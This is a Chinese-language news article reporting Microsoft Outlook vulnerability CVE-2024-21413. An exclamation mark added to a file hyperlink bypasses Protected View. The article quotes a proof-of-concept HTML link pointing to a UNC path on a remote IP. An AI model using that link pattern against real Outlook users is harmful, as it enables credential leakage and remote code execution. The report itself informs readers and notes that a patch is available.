Outlook被曝出严重漏洞,加个“!”就能读取、写入和删除文档 - 果核剥壳

2 月 16 日消息,微软近日发布安全公告,报告旗下的 Outlook 服务存在严重的远程代码执行漏洞,无需用户交互的情况下,只需要在 Outlook 超链接中添加“!”感叹号,就能读取相关机密文档。

该漏洞追踪编号为 CVE-2024-21413,在 CVSS 风险评估中基础得分(根据漏洞的固有特征反映漏洞的严重程度)为 9.8(满分 10 分),时间得分(评价漏洞被利用的时间窗的风险大小)为 8.5 分(满分 10 分)。

该漏洞由 Check Point Research 的安全专家 Haifei Li 发现并报告,根据微软官方描述,攻击者可以在文档扩展名及其嵌入链接后插入感叹号,就能绕过安全程序获得文档的高级权限,包括编辑潜在的恶意 "保护视图" 文档。

如果文档中嵌入了带有 http 或 https 的超链接,Outlook 就会启动默认浏览器来显示它。例如:

<a href="skype:SkypeName?call">Call me on Skype</a>

Outlook被曝出严重漏洞,加个“!”就能读取、写入和删除文档

安全研究人员发现一个感叹号就足以绕过保护机制。下面的链接演示了这一点:

<a href="file///\\10.10.111.111\test\test.rtf!something">CLICK ME</a>

微软目前已经发布了 Office 补丁,修复了 CVE-2024-21413 漏洞,并推荐用户尽快安装。

如果您喜欢本站,点击这儿不花一分钱捐赠本站

这些信息可能会帮助到你: 下载帮助 | 报毒说明 | 进站必看

修改版本安卓软件,加群提示为修改者自留,非本站信息,注意鉴别

(0)
上一篇 2024年2月16日 上午10:53
下一篇 2024年2月16日 下午2:09

相关推荐

发表回复

评论问题之前,点击我,能帮你解决大部分问题

您的电子邮箱地址不会被公开。 必填项已用*标注